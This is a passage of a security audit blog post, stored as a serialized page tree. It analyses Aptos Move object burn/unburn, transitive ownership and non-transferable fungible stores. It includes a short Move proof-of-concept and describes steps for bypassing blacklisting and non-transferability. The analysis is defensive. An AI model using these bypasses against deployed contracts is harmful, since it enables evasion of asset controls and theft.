value":2146},{"type":24,"tag":158,"props":65336,"children":65337},{"style":496},[65338],{"type":29,"value":65093},{"type":24,"tag":158,"props":65340,"children":65341},{"style":188},[65342],{"type":29,"value":65343},"(ENOT_OBJECT_OWNER));\n",{"type":24,"tag":158,"props":65345,"children":65346},{"class":160,"line":259},[65347,65351,65356,65360,65364,65368],{"type":24,"tag":158,"props":65348,"children":65349},{"style":165},[65350],{"type":29,"value":2710},{"type":24,"tag":158,"props":65352,"children":65353},{"style":177},[65354],{"type":29,"value":65355}," object_addr",{"type":24,"tag":158,"props":65357,"children":65358},{"style":222},[65359],{"type":29,"value":462},{"type":24,"tag":158,"props":65361,"children":65362},{"style":177},[65363],{"type":29,"value":63768},{"type":24,"tag":158,"props":65365,"children":65366},{"style":222},[65367],{"type":29,"value":347},{"type":24,"tag":158,"props":65369,"children":65370},{"style":188},[65371],{"type":29,"value":65372},"inner;\n",{"type":24,"tag":158,"props":65374,"children":65375},{"class":160,"line":280},[65376,65380,65384,65388,65393,65397,65402,65406,65411,65415,65419],{"type":24,"tag":158,"props":65377,"children":65378},{"style":496},[65379],{"type":29,"value":64371},{"type":24,"tag":158,"props":65381,"children":65382},{"style":188},[65383],{"type":29,"value":504},{"type":24,"tag":158,"props":65385,"children":65386},{"style":222},[65387],{"type":29,"value":2212},{"type":24,"tag":158,"props":65389,"children":65390},{"style":496},[65391],{"type":29,"value":65392},"create_signer",{"type":24,"tag":158,"props":65394,"children":65395},{"style":188},[65396],{"type":29,"value":504},{"type":24,"tag":158,"props":65398,"children":65399},{"style":177},[65400],{"type":29,"value":65401},"object_addr",{"type":24,"tag":158,"props":65403,"children":65404},{"style":188},[65405],{"type":29,"value":16412},{"type":24,"tag":158,"props":65407,"children":65408},{"style":171},[65409],{"type":29,"value":65410},"TombStone",{"type":24,"tag":158,"props":65412,"children":65413},{"style":188},[65414],{"type":29,"value":372},{"type":24,"tag":158,"props":65416,"children":65417},{"style":177},[65418],{"type":29,"value":65326},{"type":24,"tag":158,"props":65420,"children":65421},{"style":188},[65422],{"type":29,"value":40099},{"type":24,"tag":158,"props":65424,"children":65425},{"class":160,"line":301},[65426,65431,65435,65439],{"type":24,"tag":158,"props":65427,"children":65428},{"style":496},[65429],{"type":29,"value":65430}," transfer_raw_inner",{"type":24,"tag":158,"props":65432,"children":65433},{"style":188},[65434],{"type":29,"value":504},{"type":24,"tag":158,"props":65436,"children":65437},{"style":177},[65438],{"type":29,"value":65401},{"type":24,"tag":158,"props":65440,"children":65441},{"style":188},[65442],{"type":29,"value":65443},", BURN_ADDRESS);\n",{"type":24,"tag":158,"props":65445,"children":65446},{"class":160,"line":626},[65447],{"type":24,"tag":158,"props":65448,"children":65449},{"style":188},[65450],{"type":29,"value":307},{"type":24,"tag":25,"props":65452,"children":65453},{},[65454,65460,65462,65467,65468,65475,65477,65482],{"type":24,"tag":154,"props":65455,"children":65457},{"className":65456},[],[65458],{"type":29,"value":65459},"unburn",{"type":29,"value":65461}," is a way to restore the previous object owner. In a past audit, this mechanism could be exploited to bypass fungible store owner blacklisting by temporarily setting ownership to the unblacklisted ",{"type":24,"tag":154,"props":65463,"children":65465},{"className":65464},[],[65466],{"type":29,"value":65146},{"type":29,"value":19772},{"type":24,"tag":101,"props":65469,"children":65472},{"href":65470,"rel":65471},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-99.md",[105],[65473],{"type":29,"value":65474},"AIP-99",{"type":29,"value":65476}," is a proposal to roll back the ",{"type":24,"tag":154,"props":65478,"children":65480},{"className":65479},[],[65481],{"type":29,"value":65138},{"type":29,"value":65483}," feature, but previously burned objects will remain restorable.",{"type":24,"tag":4606,"props":65485,"children":65486},{},[65487],{"type":24,"tag":25,"props":65488,"children":65489},{},[65490,65492,65496],{"type":29,"value":65491},"This ",{"type":24,"tag":158,"props":65493,"children":65494},{},[65495],{"type":29,"value":65474},{"type":29,"value":65497}," seeks to disable safe object burn, as it caused extra complexity, and sometimes unexpected consequences. As a result of this AIP, users will still be able to unburn their burnt objects, but will not be able to burn any new objects.",{"type":24,"tag":25,"props":65499,"children":65500},{},[65501,65503,65509,65511,65516,65518,65523],{"type":29,"value":65502},"Another important thing is that ",{"type":24,"tag":154,"props":65504,"children":65506},{"className":65505},[],[65507],{"type":29,"value":65508},"fungible_asset::set_untransferable",{"type":29,"value":65510}," can be used to make all new ",{"type":24,"tag":154,"props":65512,"children":65514},{"className":65513},[],[65515],{"type":29,"value":63854},{"type":29,"value":65517}," for this asset untransferable, preventing ownership changes. However, this restriction doesn't apply to the parent object, allowing a transferable parent to be moved even if it owns a non-transferable ",{"type":24,"tag":154,"props":65519,"children":65521},{"className":65520},[],[65522],{"type":29,"value":63350},{"type":29,"value":347},{"type":24,"tag":25,"props":65525,"children":65526},{},[65527,65529,65534,65536,65542,65544,65549,65551,65556],{"type":29,"value":65528},"Do we need to care about this case? We do, because ownership is transitive. If entity X owns an object that owns a ",{"type":24,"tag":154,"props":65530,"children":65532},{"className":65531},[],[65533],{"type":29,"value":63350},{"type":29,"value":65535},", X can withdraw from that store. This is because ",{"type":24,"tag":154,"props":65537,"children":65539},{"className":65538},[],[65540],{"type":29,"value":65541},"fungible_asset::withdraw",{"type":29,"value":65543}," uses ",{"type":24,"tag":154,"props":65545,"children":65547},{"className":65546},[],[65548],{"type":29,"value":64868},{"type":29,"value":65550}," to verify both direct and indirect ownership of the ",{"type":24,"tag":154,"props":65552,"children":65554},{"className":65553},[],[65555],{"type":29,"value":63350},{"type":29,"value":51448},{"type":24,"tag":147,"props":65558,"children":65560},{"className":151,"code":65559,"language":150,"meta":7,"style":7},"fun verify_ungated_and_descendant(owner: address, destination: address) acquires ObjectCore {\n [...]\n while (owner != current_address) {\n count = count + 1;\n [...]\n assert!(\n exists\u003CObjectCore>(current_address),\n error::permission_denied(ENOT_OBJECT_OWNER),\n );\n let object = borrow_global\u003CObjectCore>(current_address);\n current_address = object.owner;\n };\n}\n",[65561],{"type":24,"tag":154,"props":65562,"children":65563},{"__ignoreMap":7},[65564,65625,65641,65671,65700,65715,65727,65757,65778,65785,65825,65850,65857],{"type":24,"tag":158,"props":65565,"children":65566},{"class":160,"line":161},[65567,65571,65576,65580,65584,65588,65592,65596,65601,65605,65609,65613,65617,65621],{"type":24,"tag":158,"props":65568,"children":65569},{"style":177},[65570],{"type":29,"value":2861},{"type":24,"tag":158,"props":65572,"children":65573},{"style":496},[65574],{"type":29,"value":65575}," verify_ungated_and_descendant",{"type":24,"tag":158,"props":65577,"children":65578},{"style":188},[65579],{"type":29,"value":504},{"type":24,"tag":158,"props":65581,"children":65582},{"style":177},[65583],{"type":29,"value":16845},{"type":24,"tag":158,"props":65585,"children":65586},{"style":222},[65587],{"type":29,"value":225},{"type":24,"tag":158,"props":65589,"children":65590},{"style":177},[65591],{"type":29,"value":7899},{"type":24,"tag":158,"props":65593,"children":65594},{"style":188},[65595],{"type":29,"value":191},{"type":24,"tag":158,"props":65597,"children":65598},{"style":177},[65599],{"type":29,"value":65600},"destination",{"type":24,"tag":158,"props":65602,"children":65603},{"style":222},[65604],{"type":29,"value":225},{"type":24,"tag":158,"props":65606,"children":65607},{"style":177},[65608],{"type":29,"value":7899},{"type":24,"tag":158,"props":65610,"children":65611},{"style":188},[65612],{"type":29,"value":723},{"type":24,"tag":158,"props":65614,"children":65615},{"style":177},[65616],{"type":29,"value":4286},{"type":24,"tag":158,"props":65618,"children":65619},{"style":171},[65620],{"type":29,"value":65248},{"type":24,"tag":158,"props":65622,"children":65623},{"style":188},[65624],{"type":29,"value":210},{"type":24,"tag":158,"props":65626,"children":65627},{"class":160,"line":213},[65628,65633,65637],{"type":24,"tag":158,"props":65629,"children":65630},{"style":188},[65631],{"type":29,"value":65632}," [",{"type":24,"tag":158,"props":65634,"children":65635},{"style":222},[65636],{"type":29,"value":377},{"type":24,"tag":158,"props":65638,"children":65639},{"style":188},[65640],{"type":29,"value":2647},{"type":24,"tag":158,"props":65642,"children":65643},{"class":160,"line":238},[65644,65649,65653,65657,65662,65667],{"type":24,"tag":158,"props":65645,"children":65646},{"style":1914},[65647],{"type":29,"value":65648}," while",{"type":24,"tag":158,"props":65650,"children":65651},{"style":188},[65652],{"type":29,"value":2262},{"type":24,"tag":158,"props":65654,"children":65655},{"style":177},[65656],{"type":29,"value":16845},{"type":24,"tag":158,"props":65658,"children":65659},{"style":222},[65660],{"type":29,"value":65661}," !=",{"type":24,"tag":158,"props":65663,"children":65664},{"style":177},[65665],{"type":29,"value":65666}," current_address",{"type":24,"tag":158,"props":65668,"children":65669},{"style":188},[65670],{"type":29,"value":16038},{"type":24,"tag":158,"props":65672,"children":65673},{"class":160,"line":259},[65674,65679,65683,65688,65692,65696],{"type":24,"tag":158,"props":65675,"children":65676},{"style":177},[65677],{"type":29,"value":65678}," count",{"type":24,"tag":158,"props":65680,"children":65681},{"style":222},[65682],{"type":29,"value":462},{"type":24,"tag":158,"props":65684,"children":65685},{"style":177},[65686],{"type":29,"value":65687}," count",{"type":24,"tag":158,"props":65689,"children":65690},{"style":222},[65691],{"type":29,"value":2308},{"type":24,"tag":158,"props":65693,"children":65694},{"style":465},[65695],{"type":29,"value":1668},{"type":24,"tag":158,"props":65697,"children":65698},{"style":188},[65699],{"type":29,"value":473},{"type":24,"tag":158,"props":65701,"children":65702},{"class":160,"line":280},[65703,65707,65711],{"type":24,"tag":158,"props":65704,"children":65705},{"style":188},[65706],{"type":29,"value":65632},{"type":24,"tag":158,"props":65708,"children":65709},{"style":222},[65710],{"type":29,"value":377},{"type":24,"tag":158,"props":65712,"children":65713},{"style":188},[65714],{"type":29,"value":2647},{"type":24,"tag":158,"props":65716,"children":65717},{"class":160,"line":301},[65718,65723],{"type":24,"tag":158,"props":65719,"children":65720},{"style":496},[65721],{"type":29,"value":65722}," assert!",{"type":24,"tag":158,"props":65724,"children":65725},{"style":188},[65726],{"type":29,"value":2156},{"type":24,"tag":158,"props":65728,"children":65729},{"class":160,"line":626},[65730,65735,65739,65744,65748,65753],{"type":24,"tag":158,"props":65731,"children":65732},{"style":177},[65733],{"type":29,"value":65734}," exists",{"type":24,"tag":158,"props":65736,"children":65737},{"style":188},[65738],{"type":29,"value":3760},{"type":24,"tag":158,"props":65740,"children":65741},{"style":171},[65742],{"type":29,"value":65743},"ObjectCore",{"type":24,"tag":158,"props":65745,"children":65746},{"style":188},[65747],{"type":29,"value":3817},{"type":24,"tag":158,"props":65749,"children":65750},{"style":177},[65751],{"type":29,"value":65752},"current_address",{"type":24,"tag":158,"props":65754,"children":65755},{"style":188},[65756],{"type":29,"value":8382},{"type":24,"tag":158,"props":65758,"children":65759},{"class":160,"line":668},[65760,65765,65769,65773],{"type":24,"tag":158,"props":65761,"children":65762},{"style":188},[65763],{"type":29,"value":65764}," error",{"type":24,"tag":158,"props":65766,"children":65767},{"style":222},[65768],{"type":29,"value":2146},{"type":24,"tag":158,"props":65770,"children":65771},{"style":496},[65772],{"type":29,"value":65093},{"type":24,"tag":158,"props":65774,"children":65775},{"style":188},[65776],{"type":29,"value":65777},"(ENOT_OBJECT_OWNER),\n",{"type":24,"tag":158,"props":65779,"children":65780},{"class":160,"line":676},[65781],{"type":24,"tag":158,"props":65782,"children":65783},{"style":188},[65784],{"type":29,"value":9384},{"type":24,"tag":158,"props":65786,"children":65787},{"class":160,"line":684},[65788,65792,65796,65800,65805,65809,65813,65817,65821],{"type":24,"tag":158,"props":65789,"children":65790},{"style":165},[65791],{"type":29,"value":4732},{"type":24,"tag":158,"props":65793,"children":65794},{"style":177},[65795],{"type":29,"value":63768},{"type":24,"tag":158,"props":65797,"children":65798},{"style":222},[65799],{"type":29,"value":462},{"type":24,"tag":158,"props":65801,"children":65802},{"style":177},[65803],{"type":29,"value":65804}," borrow_global",{"type":24,"tag":158,"props":65806,"children":65807},{"style":188},[65808],{"type":29,"value":3760},{"type":24,"tag":158,"props":65810,"children":65811},{"style":171},[65812],{"type":29,"value":65743},{"type":24,"tag":158,"props":65814,"children":65815},{"style":188},[65816],{"type":29,"value":3817},{"type":24,"tag":158,"props":65818,"children":65819},{"style":177},[65820],{"type":29,"value":65752},{"type":24,"tag":158,"props":65822,"children":65823},{"style":188},[65824],{"type":29,"value":1071},{"type":24,"tag":158,"props":65826,"children":65827},{"class":160,"line":700},[65828,65833,65837,65841,65845],{"type":24,"tag":158,"props":65829,"children":65830},{"style":177},[65831],{"type":29,"value":65832}," current_address",{"type":24,"tag":158,"props":65834,"children":65835},{"style":222},[65836],{"type":29,"value":462},{"type":24,"tag":158,"props":65838,"children":65839},{"style":177},[65840],{"type":29,"value":63768},{"type":24,"tag":158,"props":65842,"children":65843},{"style":222},[65844],{"type":29,"value":347},{"type":24,"tag":158,"props":65846,"children":65847},{"style":188},[65848],{"type":29,"value":65849},"owner;\n",{"type":24,"tag":158,"props":65851,"children":65852},{"class":160,"line":785},[65853],{"type":24,"tag":158,"props":65854,"children":65855},{"style":188},[65856],{"type":29,"value":40261},{"type":24,"tag":158,"props":65858,"children":65859},{"class":160,"line":1447},[65860],{"type":24,"tag":158,"props":65861,"children":65862},{"style":188},[65863],{"type":29,"value":307},{"type":24,"tag":25,"props":65865,"children":65866},{},[65867,65869,65874],{"type":29,"value":65868},"This could allow for bypassing assumptions about ",{"type":24,"tag":154,"props":65870,"children":65872},{"className":65871},[],[65873],{"type":29,"value":63350},{"type":29,"value":65875}," true ownership and its non-transferability.",{"type":24,"tag":147,"props":65877,"children":65879},{"className":151,"code":65878,"language":150,"meta":7,"style":7},"public fun untransferable_transfer(caller: &signer, receipient: address) {\n let constructor_ref = object::create_object(signer::address_of(caller));\n let object_addr = object::address_from_constructor_ref(&constructor_ref);\n let store = primary_fungible_store::ensure_primary_store_exists(object_addr, get_metadata());\n\n object::transfer_raw(caller, object_addr, receipient);\n //receipient can interact with store by using their signer\n}\n",[65880],{"type":24,"tag":154,"props":65881,"children":65882},{"__ignoreMap":7},[65883,65941,65994,66038,66086,66093,66138,66146],{"type":24,"tag":158,"props":65884,"children":65885},{"class":160,"line":161},[65886,65890,65894,65899,65903,65908,65912,65916,65920,65924,65929,65933,65937],{"type":24,"tag":158,"props":65887,"children":65888},{"style":177},[65889],{"type":29,"value":62949},{"type":24,"tag":158,"props":65891,"children":65892},{"style":177},[65893],{"type":29,"value":493},{"type":24,"tag":158,"props":65895,"children":65896},{"style":496},[65897],{"type":29,"value":65898}," untransferable_transfer",{"type":24,"tag":158,"props":65900,"children":65901},{"style":188},[65902],{"type":29,"value":504},{"type":24,"tag":158,"props":65904,"children":65905},{"style":177},[65906],{"type":29,"value":65907},"caller",{"type":24,"tag":158,"props":65909,"children":65910},{"style":222},[65911],{"type":29,"value":225},{"type":24,"tag":158,"props":65913,"children":65914},{"style":222},[65915],{"type":29,"value":8784},{"type":24,"tag":158,"props":65917,"children":65918},{"style":177},[65919],{"type":29,"value":8789},{"type":24,"tag":158,"props":65921,"children":65922},{"style":188},[65923],{"type":29,"value":191},{"type":24,"tag":158,"props":65925,"children":65926},{"style":177},[65927],{"type":29,"value":65928},"receipient",{"type":24,"tag":158,"props":65930,"children":65931},{"style":222},[65932],{"type":29,"value":225},{"type":24,"tag":158,"props":65934,"children":65935},{"style":177},[65936],{"type":29,"value":7899},{"type":24,"tag":158,"props":65938,"children":65939},{"style":188},[65940],{"type":29,"value":16038},{"type":24,"tag":158,"props":65942,"children":65943},{"class":160,"line":213},[65944,65948,65953,65957,65961,65965,65970,65974,65978,65982,65986,65990],{"type":24,"tag":158,"props":65945,"children":65946},{"style":165},[65947],{"type":29,"value":2710},{"type":24,"tag":158,"props":65949,"children":65950},{"style":177},[65951],{"type":29,"value":65952}," constructor_ref",{"type":24,"tag":158,"props":65954,"children":65955},{"style":222},[65956],{"type":29,"value":462},{"type":24,"tag":158,"props":65958,"children":65959},{"style":188},[65960],{"type":29,"value":63768},{"type":24,"tag":158,"props":65962,"children":65963},{"style":222},[65964],{"type":29,"value":2146},{"type":24,"tag":158,"props":65966,"children":65967},{"style":496},[65968],{"type":29,"value":65969},"create_object",{"type":24,"tag":158,"props":65971,"children":65972},{"style":188},[65973],{"type":29,"value":8843},{"type":24,"tag":158,"props":65975,"children":65976},{"style":222},[65977],{"type":29,"value":2146},{"type":24,"tag":158,"props":65979,"children":65980},{"style":496},[65981],{"type":29,"value":3835},{"type":24,"tag":158,"props":65983,"children":65984},{"style":188},[65985],{"type":29,"value":504},{"type":24,"tag":158,"props":65987,"children":65988},{"style":177},[65989],{"type":29,"value":65907},{"type":24,"tag":158,"props":65991,"children":65992},{"style":188},[65993],{"type":29,"value":3849},{"type":24,"tag":158,"props":65995,"children":65996},{"class":160,"line":238},[65997,66001,66005,66009,66013,66017,66022,66026,66030,66034],{"type":24,"tag":158,"props":65998,"children":65999},{"style":165},[66000],{"type":29,"value":2710},{"type":24,"tag":158,"props":66002,"children":66003},{"style":177},[66004],{"type":29,"value":65355},{"type":24,"tag":158,"props":66006,"children":66007},{"style":222},[66008],{"type":29,"value":462},{"type":24,"tag":158,"props":66010,"children":66011},{"style":188},[66012],{"type":29,"value":63768},{"type":24,"tag":158,"props":66014,"children":66015},{"style":222},[66016],{"type":29,"value":2146},{"type":24,"tag":158,"props":66018,"children":66019},{"style":496},[66020],{"type":29,"value":66021},"address_from_constructor_ref",{"type":24,"tag":158,"props":66023,"children":66024},{"style":188},[66025],{"type":29,"value":504},{"type":24,"tag":158,"props":66027,"children":66028},{"style":222},[66029],{"type":29,"value":2212},{"type":24,"tag":158,"props":66031,"children":66032},{"style":177},[66033],{"type":29,"value":64202},{"type":24,"tag":158,"props":66035,"children":66036},{"style":188},[66037],{"type":29,"value":1071},{"type":24,"tag":158,"props":66039,"children":66040},{"class":160,"line":259},[66041,66045,66049,66053,66058,66062,66066,66070,66074,66078,66082],{"type":24,"tag":158,"props":66042,"children":66043},{"style":165},[66044],{"type":29,"value":2710},{"type":24,"tag":158,"props":66046,"children":66047},{"style":177},[66048],{"type":29,"value":7483},{"type":24,"tag":158,"props":66050,"children":66051},{"style":222},[66052],{"type":29,"value":462},{"type":24,"tag":158,"props":66054,"children":66055},{"style":188},[66056],{"type":29,"value":66057}," primary_fungible_store",{"type":24,"tag":158,"props":66059,"children":66060},{"style":222},[66061],{"type":29,"value":2146},{"type":24,"tag":158,"props":66063,"children":66064},{"style":496},[66065],{"type":29,"value":64094},{"type":24,"tag":158,"props":66067,"children":66068},{"style":188},[66069],{"type":29,"value":504},{"type":24,"tag":158,"props":66071,"children":66072},{"style":177},[66073],{"type":29,"value":65401},{"type":24,"tag":158,"props":66075,"children":66076},{"style":188},[66077],{"type":29,"value":191},{"type":24,"tag":158,"props":66079,"children":66080},{"style":496},[66081],{"type":29,"value":64050},{"type":24,"tag":158,"props":66083,"children":66084},{"style":188},[66085],{"type":29,"value":16660},{"type":24,"tag":158,"props":66087,"children":66088},{"class":160,"line":280},[66089],{"type":24,"tag":158,"props":66090,"children":66091},{"emptyLinePlaceholder":16},[66092],{"type":29,"value":481},{"type":24,"tag":158,"props":66094,"children":66095},{"class":160,"line":301},[66096,66101,66105,66110,66114,66118,66122,66126,66130,66134],{"type":24,"tag":158,"props":66097,"children":66098},{"style":188},[66099],{"type":29,"value":66100}," object",{"type":24,"tag":158,"props":66102,"children":66103},{"style":222},[66104],{"type":29,"value":2146},{"type":24,"tag":158,"props":66106,"children":66107},{"style":496},[66108],{"type":29,"value":66109},"transfer_raw",{"type":24,"tag":158,"props":66111,"children":66112},{"style":188},[66113],{"type":29,"value":504},{"type":24,"tag":158,"props":66115,"children":66116},{"style":177},[66117],{"type":29,"value":65907},{"type":24,"tag":158,"props":66119,"children":66120},{"style":188},[66121],{"type":29,"value":191},{"type":24,"tag":158,"props":66123,"children":66124},{"style":177},[66125],{"type":29,"value":65401},{"type":24,"tag":158,"props":66127,"children":66128},{"style":188},[66129],{"type":29,"value":191},{"type":24,"tag":158,"props":66131,"children":66132},{"style":177},[66133],{"type":29,"value":65928},{"type":24,"tag":158,"props":66135,"children":66136},{"style":188},[66137],{"type":29,"value":1071},{"type":24,"tag":158,"props":66139,"children":66140},{"class":160,"line":626},[66141],{"type":24,"tag":158,"props":66142,"children":66143},{"style":2588},[66144],{"type":29,"value":66145}," //receipient can interact with store by using their signer\n",{"type":24,"tag":158,"props":66147,"children":66148},{"class":160,"line":668},[66149],{"type":24,"tag":158,"props":66150,"children":66151},{"style":188},[66152],{"type":29,"value":307},{"type":24,"tag":25,"props":66154,"children":66155},{},[66156,66158,66165],{"type":29,"value":66157},"The ownership transfer issue also showed up during our review of the fungible asset standard, where we identified an interesting ",{"type":24,"tag":101,"props":66159,"children":66162},{"href":66160,"rel":66161},"https://github.com/aptos-labs/aptos-core/commit/e8c5e4bd03930d25f0dbec9529680fac36eb2fa6",[105],[66163],{"type":29,"value":66164},"edge case",{"type":29,"value":66166}," involving the transfer of a non-transferable fungible store.",{"type":24,"tag":147,"props":66168,"children":66170},{"className":151,"code":66169,"language":150,"meta":7,"style":7},"public fun transfer_with_ref(ref: LinearTransferRef, to: address) acquires ObjectCore {\n assert!(!exists\u003CUntransferable>(ref.self), error::permission_denied(ENOT_MOVABLE));\n let object = borrow_global_mut\u003CObjectCore>(ref.self);\n assert!(\n object.owner == ref.owner,\n error::permission_denied(ENOT_OBJECT_OWNER),\n );\n \n [...]\n \n object.owner = to;\n}\n",[66171],{"type":24,"tag":154,"props":66172,"children":66173},{"__ignoreMap":7},[66174,66239,66300,66347,66358,66393,66413,66420,66427,66442,66449,66477],{"type":24,"tag":158,"props":66175,"children":66176},{"class":160,"line":161},[66177,66181,66185,66190,66194,66198,66202,66207,66211,66215,66219,66223,66227,66231,66235],{"type":24,"tag":158,"props":66178,"children":66179},{"style":177},[66180],{"type":29,"value":62949},{"type":24,"tag":158,"props":66182,"children":66183},{"style":177},[66184],{"type":29,"value":493},{"type":24,"tag":158,"props":66186,"children":66187},{"style":496},[66188],{"type":29,"value":66189}," transfer_with_ref",{"type":24,"tag":158,"props":66191,"children":66192},{"style":188},[66193],{"type":29,"value":504},{"type":24,"tag":158,"props":66195,"children":66196},{"style":165},[66197],{"type":29,"value":64611},{"type":24,"tag":158,"props":66199,"children":66200},{"style":222},[66201],{"type":29,"value":225},{"type":24,"tag":158,"props":66203,"children":66204},{"style":171},[66205],{"type":29,"value":66206}," LinearTransferRef",{"type":24,"tag":158,"props":66208,"children":66209},{"style":188},[66210],{"type":29,"value":191},{"type":24,"tag":158,"props":66212,"children":66213},{"style":177},[66214],{"type":29,"value":33989},{"type":24,"tag":158,"props":66216,"children":66217},{"style":222},[66218],{"type":29,"value":225},{"type":24,"tag":158,"props":66220,"children":66221},{"style":177},[66222],{"type":29,"value":7899},{"type":24,"tag":158,"props":66224,"children":66225},{"style":188},[66226],{"type":29,"value":723},{"type":24,"tag":158,"props":66228,"children":66229},{"style":177},[66230],{"type":29,"value":4286},{"type":24,"tag":158,"props":66232,"children":66233},{"style":171},[66234],{"type":29,"value":65248},{"type":24,"tag":158,"props":66236,"children":66237},{"style":188},[66238],{"type":29,"value":210},{"type":24,"tag":158,"props":66240,"children":66241},{"class":160,"line":213},[66242,66246,66250,66254,66258,66262,66267,66271,66275,66279,66283,66287,66291,66295],{"type":24,"tag":158,"props":66243,"children":66244},{"style":496},[66245],{"type":29,"value":63618},{"type":24,"tag":158,"props":66247,"children":66248},{"style":188},[66249],{"type":29,"value":504},{"type":24,"tag":158,"props":66251,"children":66252},{"style":222},[66253],{"type":29,"value":21865},{"type":24,"tag":158,"props":66255,"children":66256},{"style":177},[66257],{"type":29,"value":3755},{"type":24,"tag":158,"props":66259,"children":66260},{"style":188},[66261],{"type":29,"value":3760},{"type":24,"tag":158,"props":66263,"children":66264},{"style":171},[66265],{"type":29,"value":66266},"Untransferable",{"type":24,"tag":158,"props":66268,"children":66269},{"style":188},[66270],{"type":29,"value":3817},{"type":24,"tag":158,"props":66272,"children":66273},{"style":165},[66274],{"type":29,"value":64611},{"type":24,"tag":158,"props":66276,"children":66277},{"style":222},[66278],{"type":29,"value":347},{"type":24,"tag":158,"props":66280,"children":66281},{"style":165},[66282],{"type":29,"value":14947},{"type":24,"tag":158,"props":66284,"children":66285},{"style":188},[66286],{"type":29,"value":64207},{"type":24,"tag":158,"props":66288,"children":66289},{"style":222},[66290],{"type":29,"value":2146},{"type":24,"tag":158,"props":66292,"children":66293},{"style":496},[66294],{"type":29,"value":65093},{"type":24,"tag":158,"props":66296,"children":66297},{"style":188},[66298],{"type":29,"value":66299},"(ENOT_MOVABLE));\n",{"type":24,"tag":158,"props":66301,"children":66302},{"class":160,"line":238},[66303,66307,66311,66315,66319,66323,66327,66331,66335,66339,66343],{"type":24,"tag":158,"props":66304,"children":66305},{"style":165},[66306],{"type":29,"value":2710},{"type":24,"tag":158,"props":66308,"children":66309},{"style":177},[66310],{"type":29,"value":63768},{"type":24,"tag":158,"props":66312,"children":66313},{"style":222},[66314],{"type":29,"value":462},{"type":24,"tag":158,"props":66316,"children":66317},{"style":177},[66318],{"type":29,"value":9238},{"type":24,"tag":158,"props":66320,"children":66321},{"style":188},[66322],{"type":29,"value":3760},{"type":24,"tag":158,"props":66324,"children":66325},{"style":171},[66326],{"type":29,"value":65743},{"type":24,"tag":158,"props":66328,"children":66329},{"style":188},[66330],{"type":29,"value":3817},{"type":24,"tag":158,"props":66332,"children":66333},{"style":165},[66334],{"type":29,"value":64611},{"type":24,"tag":158,"props":66336,"children":66337},{"style":222},[66338],{"type":29,"value":347},{"type":24,"tag":158,"props":66340,"children":66341},{"style":165},[66342],{"type":29,"value":14947},{"type":24,"tag":158,"props":66344,"children":66345},{"style":188},[66346],{"type":29,"value":1071},{"type":24,"tag":158,"props":66348,"children":66349},{"class":160,"line":259},[66350,66354],{"type":24,"tag":158,"props":66351,"children":66352},{"style":496},[66353],{"type":29,"value":63618},{"type":24,"tag":158,"props":66355,"children":66356},{"style":188},[66357],{"type":29,"value":2156},{"type":24,"tag":158,"props":66359,"children":66360},{"class":160,"line":280},[66361,66366,66370,66375,66379,66384,66388],{"type":24,"tag":158,"props":66362,"children":66363},{"style":177},[66364],{"type":29,"value":66365}," object",{"type":24,"tag":158,"props":66367,"children":66368},{"style":222},[66369],{"type":29,"value":347},{"type":24,"tag":158,"props":66371,"children":66372},{"style":188},[66373],{"type":29,"value":66374},"owner ",{"type":24,"tag":158,"props":66376,"children":66377},{"style":222},[66378],{"type":29,"value":1034},{"type":24,"tag":158,"props":66380,"children":66381},{"style":165},[66382],{"type":29,"value":66383}," ref",{"type":24,"tag":158,"props":66385,"children":66386},{"style":222},[66387],{"type":29,"value":347},{"type":24,"tag":158,"props":66389,"children":66390},{"style":188},[66391],{"type":29,"value":66392},"owner,\n",{"type":24,"tag":158,"props":66394,"children":66395},{"class":160,"line":301},[66396,66401,66405,66409],{"type":24,"tag":158,"props":66397,"children":66398},{"style":188},[66399],{"type":29,"value":66400}," error",{"type":24,"tag":158,"props":66402,"children":66403},{"style":222},[66404],{"type":29,"value":2146},{"type":24,"tag":158,"props":66406,"children":66407},{"style":496},[66408],{"type":29,"value":65093},{"type":24,"tag":158,"props":66410,"children":66411},{"style":188},[66412],{"type":29,"value":65777},{"type":24,"tag":158,"props":66414,"children":66415},{"class":160,"line":626},[66416],{"type":24,"tag":158,"props":66417,"children":66418},{"style":188},[66419],{"type":29,"value":44924},{"type":24,"tag":158,"props":66421,"children":66422},{"class":160,"line":668},[66423],{"type":24,"tag":158,"props":66424,"children":66425},{"style":188},[66426],{"type":29,"value":63060},{"type":24,"tag":158,"props":66428,"children":66429},{"class":160,"line":676},[66430,66434,66438],{"type":24,"tag":158,"props":66431,"children":66432},{"style":188},[66433],{"type":29,"value":63992},{"type":24,"tag":158,"props":66435,"children":66436},{"style":222},[66437],{"type":29,"value":377},{"type":24,"tag":158,"props":66439,"children":66440},{"style":188},[66441],{"type":29,"value":2647},{"type":24,"tag":158,"props":66443,"children":66444},{"class":160,"line":684},[66445],{"type":24,"tag":158,"props":66446,"children":66447},{"style":188},[66448],{"type":29,"value":63060},{"type":24,"tag":158,"props":66450,"children":66451},{"class":160,"line":700},[66452,66456,66460,66464,66468,66473],{"type":24,"tag":158,"props":66453,"children":66454},{"style":177},[66455],{"type":29,"value":66100},{"type":24,"tag":158,"props":66457,"children":66458},{"style":222},[66459],{"type":29,"value":347},{"type":24,"tag":158,"props":66461,"children":66462},{"style":188},[66463],{"type":29,"value":66374},{"type":24,"tag":158,"props":66465,"children":66466},{"style":222},[66467],{"type":29,"value":1285},{"type":24,"tag":158,"props":66469,"children":66470},{"style":177},[66471],{"type":29,"value":66472}," to",{"type":24,"tag":158,"props":66474,"children":66475},{"style":188},[66476],{"type":29,"value":473},{"type":24,"tag":158,"props":66478,"children":66479},{"class":160,"line":785},[66480],{"type":24,"tag":158,"props":66481,"children":66482},{"style":188},[66483],{"type":29,"value":307},{"type":24,"tag":25,"props":66485,"children":66486},{},[66487,66489,66494,66496,66501],{"type":29,"value":66488},"A user could exploit this by creating an object and a transfer permission, burning the object (changing its ownership to the ",{"type":24,"tag":154,"props":66490,"children":66492},{"className":66491},[],[66493],{"type":29,"value":65146},{"type":29,"value":66495},"), transferring it to another user, and then registering a non-transferable fungible store with that object. While the store could no longer be moved using the owner's ",{"type":24,"tag":154,"props":66497,"children":66499},{"className":66498},[],[66500],{"type":29,"value":8789},{"type":29,"value":66502}," or the transfer permission due to non-transferable restrictions, it could be unburned to restore the original 